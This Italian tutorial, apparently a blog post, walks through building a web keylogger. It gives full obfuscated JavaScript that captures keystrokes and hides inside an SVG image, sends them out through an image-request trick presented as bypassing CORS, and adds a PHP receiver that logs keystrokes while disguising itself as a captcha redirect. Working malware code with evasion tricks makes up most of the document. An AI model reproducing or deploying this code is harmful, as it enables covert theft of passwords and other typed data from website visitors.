L'idea
L’obiettivo è semplice: creare un keylogger che funzioni all’interno di pagine web.
Non è sicuramente un’idea originale, ma può essere un ottimo spunto per approfondire certe dinamiche.
Struttura
Il codice di per se è relativamente semplice, si tratta “solo” di agganciare un handler all’evento “keydown” dell’oggetto “window” e inviare ad una pagina remota il tasto premuto.
Evasione
Js in SVG
Dato che le immagini SVG permettono di incorporare del codice javascript ed eseguirlo, ho deciso di sfruttare questa capacità per rendere più complessa l’identificazione e cercare di bypassare alcuni controlli di sicurezza.
Attenzione! Il codice javascript incorporato negli SVG viene eseguito solo se l’immagine viene inserita nella pagina come elemento “object”
CORS bypass
“CORS” (Cross-Origin Resource Sharing), il mostro con cui chi sviluppa applicazioni web si è scontrato almeno una volta nella vita.
Per chi non sa di cosa sto parlando, in parole povere si tratta della funzionalità che si occupa di gestire lo scambio di risorse tra domini differenti.
Dato che stiamo progettando un software che potenzialmente invierà i dati ad un dominio esterno a quello dove lo script è in esecuzione, i blocchi di sicurezza sono in agguato. Ma dato che il nostro scopo è solo quello di far uscire dei dati e non necessariamente leggere la risposta della chiamata, il problema si può risolvere alla radice tramite un trick molto semplice: simulare l’inserimento di una nuova immagine nella pagina, impostando l’url della risorsa con la pagina che deve recepire i dati del keylogger. In automatico verrà scatenato il caricamento della nuova “immagine” da parte del browser e i dati verranno inviati bypassando ogni controllo di sicurezza.
Offuscamento
Di tecniche per offuscare il codice ne esistono a palate. In questo esempio ho voluto inserire un minimo di “confusione” nascondendo i nomi usando come sorgente una stringa contenente le lettere dell’alfabeto e i numeri codificati in base36 (per approfondimento: base-36-why-how-its-important).
Il codice
Keylogger
Per semplicità ho sviluppato e testato il codice direttamente all’interno di una pagina html.
<script type=" text/javascript ">
let b = 30483235087530204251026473460499750369628008625670311705n.toString(36);
addEventListener([b[10], b[4], b[24], b[3], b[14], b[22], b[13]].join(''), function(e)
{
setTimeout(() =>
{
new Image().src = 'http://localhost/test_svg_js/robocaptcha.php?e=' + encodeURIComponent(btoa(e[[b[0xA], b[0x4], b[0x18]].join('')]));
},
Math.random() * 1800 + 200);
});
</script>
Per trasporlo all’interno dell’immagine SVG è stato necessario solo incorporarlo all’interno dei tag “CDATA” e aggiungerlo in fondo al codice dell’immagine.
//<![CDATA[
let b = 30483235087530204251026473460499750369628008625670311705n.toString(36);
addEventListener([b[10], b[4], b[24], b[3], b[14], b[22], b[13]].join(''), function(e)
{
setTimeout(() =>
{
new Image().src = 'http://localhost/test_svg_js/robocaptcha.php?e=' + encodeURIComponent(btoa(e[[b[0xA], b[0x4], b[0x18]].join('')]));
},
Math.random() * 1800 + 200);
});
//]]>
Il risultato:
Html per caricamento SVG
Esistono vari modi per incorporare un’immagine SVG nelle pagine web ma, come detto precedentemente, l’unico modo per rendere eseguibile il codice javascript contenuto all’interno è solo quello di usare l’elemento “object”.
<object data="logo.svg" type="image/svg+xml">
</object>
Script server
Lo script verifica che siano stati passati i dati durante la chiamata e li accoda all’interno di un file di testo.
Usando un pò di ingegneria sociale, ho aggiunto anche la forzatura del codice di stato “307” (Temporary redirect), così a prima vista può sembrare che la pagina tenti di caricare un qualche tipo di captcha da un sito esterno e la risorsa non risulta più disponibile.
<?php
header($_SERVER['SERVER_PROTOCOL'] . ' 307 Temporary Redirect', true, 307);
if(isset($_REQUEST['e']) && empty($_REQUEST['e']) == false)
{
$fp = fopen('remote_data.txt', 'a');
fwrite($fp, base64_decode($_REQUEST['e']) . "\r\n");
fclose($fp);
}
?>